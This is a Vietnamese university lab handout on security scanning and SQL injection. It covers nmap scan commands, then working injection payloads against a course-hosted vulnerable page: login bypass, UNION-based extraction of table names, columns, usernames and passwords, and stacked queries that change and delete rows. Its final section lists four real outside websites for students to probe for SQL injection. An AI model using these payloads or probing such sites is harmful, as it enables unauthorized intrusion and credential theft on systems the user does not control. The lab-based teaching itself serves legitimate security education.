Thực hành môn học An toàn bảo mật HTTT

I. Cài đặt và sử dụng các công cụ rà quét lỗ hổng bảo mật và cổng dịch vụ

1. Quét các hệ thống chạy HDH Windows sử dụng công cụ Microsoft Baseline Security Analyser
   - Tải & cài đặt công cụ Microsoft Baseline Security Analyser từ website của Microsoft (https://www.microsoft.com/en-us/download/details.aspx?id=19892, file MBSASetup-x86-EN.msi cho hệ thống 32 bít, MBSASetup-x64-EN.msi cho hệ thống 64 bít);
     - *Sử dụng tiện ích search của Windows để tìm theo tên phần mềm và chỉ thực hiện việc tải và cài đặt nếu máy chưa được cài phần mềm này*
   - Rà quét tối thiểu một máy chạy HDH Windows (Windows 7, Windows 8,…);
   - Phân tích kết quả quét hệ thống.
     - Phân tích dạng điểm yếu, lỗ hổng, mức độ nguy hiểm
     - Tìm hiểu giải pháp khắc phục.

2. Rà quét các dịch vụ và lỗ hổng sử dụng công cụ nmap
   - Tải và cài đặt nmap từ trang web: http://nmap.org/download.html
     - ***Chỉ thực hiện việc tải và cài đặt nếu máy chưa được cài phần mềm này***
   - Thực hiện các thao tác rà quét trên hệ thống:
     - Nmap –sT: trong đó chữ s – là Scan, còn chữ T là dạng TCP scan
     - Nmap –sU: đó là sử dụng UDP Scan
     - Nmap –sP: sử dụng Ping để scan
     - Nmap –sF: sử dụng FIN Scan
     - Nmap –sX: sử dụng phương thức XMAS Scan
     - Nmap –sN: sử dụng phương thức NULL Scan
     - Nmap –sV: sử dụng để Scan tên các ứng dụng và version của nó
     - Nmap –SR /I RPC sử dụng để scan RPC
   - Ví dụ:
     - Lấy thông tin từ máy từ xa và xác định hệ điều hành của máy
       nmap -sS -P0 -sV -O <target>
     - Lấy danh sách các máy chủ với các cổng mở được định nghĩa trước
       nmap -sT -p 80 -oG – 192.168.1.* | grep open
     - Tìm tất cả các địa chỉ IP đang hoạt động trong mạng
       nmap -sP 192.168.0.*
     - Ping một dải địa chỉ IP
       nmap -sP 192.168.1.100-254

II. Tấn công chèn mã SQL

A. Ôn tập lý thuyết

- Lỗi chèn mã SQL trong các ứng dụng web và nguyên nhân.
- Các kỹ thuật tấn công chèn mã SQL trong ứng dụng web (vượt qua khâu xác thực, đánh cắp dữ liệu, chèn, sửa, xóa dữ liệu, kiểm soát hệ thống).
- Các biện pháp khắc phục (kiểm tra dữ liệu kích thước, định dạng dữ liệu, tạo các bộ lọc, sử dụng stored procs,…).

B. Nội dung thực hành

1. Vượt qua khâu xác thực người dùng

- Mở trang có lỗi chèn mã SQL: http://www.infosecptit.com/code/login_error.asp
- Xem kỹ mã trang: http://www.infosecptit.com/code/login_error.txt
- Nhập dữ liệu cho phép đăng nhập mà không cần có đủ username và password:
  + Đăng nhập tự do: nhập *aaaa' OR 1=1 --* → username và chuỗi bất kỳ → password. Kết quả đăng nhập thành công với tài khoản người dùng đầu tiên trong danh sách.
  + Đăng nhập vào tài khoản một người dùng chỉ định: nhập *david' --* → username và chuỗi bất kỳ → password. Kết quả đăng nhập thành công với tài khoản người dùng *david*. Thay tên người *david* bằng tên một người dùng khác, nếu tồn tài sẽ đăng nhập thành công với người dùng đó.
  + Phân tích câu lệnh SQL được thực hiện (hiển thị trên trang) và giải thích kết quả có được.

2. Trích xuất dữ liệu từ CSDL

Các lệnh/dữ liệu thử nghiệm được nhập vào ô "Search term" của trang search_error.asp. Xem kỹ mã của trang này trong file search_error.txt. Việc đầu tiên cần làm là tìm số trường trong câu truy vấn của trang, trên cơ sở đó sử dụng câu lệnh UNION SELECT để ghép dữ liệu muốn trích xuất vào câu truy vấn gốc của trang. Số trường trong UNION SELECT phải bằng số trường trong câu truy vấn gốc của trang. Đồng thời, kiểu dữ liệu mỗi trường trong UNION SELECT phải tương thích với kiểu dữ liệu của trường tương ứng trong câu truy vấn gốc của trang.

- Tìm số trường trong câu truy vấn của trang:
  + sam%' order by <number>; -- , trong đó <number> là số thứ tự của trường. Lần lượt thử với 1, 2, 3,… và quan sát kết quả cho đến khi trang không hiển thị kết quả. <number> ở lần thử cuối cho kết quả đúng là số trường có trong câu truy vấn.
  + sam%' union select <danh sách trường thử>;-- , trong đó <danh sách trường thử> có thể là 1, 2, 3,… hoặc '1', '2', '3',… Tăng dần số trường cho đến khi trang không hiển thị kết quả hoặc báo lỗi thực hiện. <danh sách trường thử> ở lần thử cuối cho kết quả đúng cho biết số trường có trong câu truy vấn.
- Hiển thị thông tin hệ quản trị CSDL và hệ điều hành:
  + ssss' union select '', @@version, 0 --
- Trích xuất danh sách các bảng của CSDL:
  + ssss' union select '', name, 0 from sys.objects where type='u'; --
- Trích xuất danh sách các trường của bảng 'tbl_users':
  + ssss' union select '', a.name, 0 from sys.columns a inner join sys.objects b on a.object_id = b.object_id where b.name='tbl_users'; --
  + Thay tên bảng tbl_users bằng bảng khác có được ở mục trên để hiển thị danh dách các trường của bảng đó.
- Trích xuất dữ liệu bảng:
  + ssss' union select full_name, username+'--'+password, 0 from tbl_users;--
  + Thay tên bảng và danh sách trường để trích xuất lữ liệu của các bảng khác có được ở mục trên.
  + Lưu ý, nếu số trường của câu truy vấn mới nhiều hơn số trường trong câu truy vấn gốc thì cần ghép các trường bằng phép nối xâu để số trường trong UNION SELECT phải bằng số trường trong câu truy vấn gốc của trang và kiểu dữ liệu mỗi trường trong UNION SELECT phải tương thích với kiểu dữ liệu của trường tương ứng trong câu truy vấn gốc của trang.

3. **Thêm, sửa, xóa dữ liệu**
   - Thử thực hiện các lệnh thêm, sửa, xóa dữ liệu trên trang search_error.asp:
     + samsung'; update tbl_users set password='test' where username='david'; --
     + samsung'; insert into tbl_users (full_name, username, password) values ('Tom Cruise','tom','abc123'); --
     + samsung'; delete from tbl_users where username = 'tom';--
     + Thử với các câu lệnh khác
4. **Khảo sát các trang web trên mạng có lỗi chèn mã SQL (không sửa/xóa dữ liệu)**

   http://vnid.vn
   http://www.tunesoman.com
   http://coda.cc
   http://www.bremed.com